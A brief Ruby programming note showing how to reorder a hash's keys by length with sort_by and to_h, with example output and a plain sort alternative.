Ruby reorder keys in hash

# First thing to note that #sort/#sort_by will return a new array. Therefore, if we want to return the sorted hash in hash format, we need to call #to_h after #sort.

hash = { a:1, bb:2, ccc:4, dddd:3, eeeee:2}

# sort on key in decending order
puts hash.sort_by {|k, v| -k.length }.to_h
> {:eeeee=>2, :dddd=>3, :ccc=>4, :bb=>2, :a=>1}

# you could do any thing to determine the sort order of the key this way


# a normal sort would work like this (in Ruby 2.1 or higher):
hash.sort.to_h
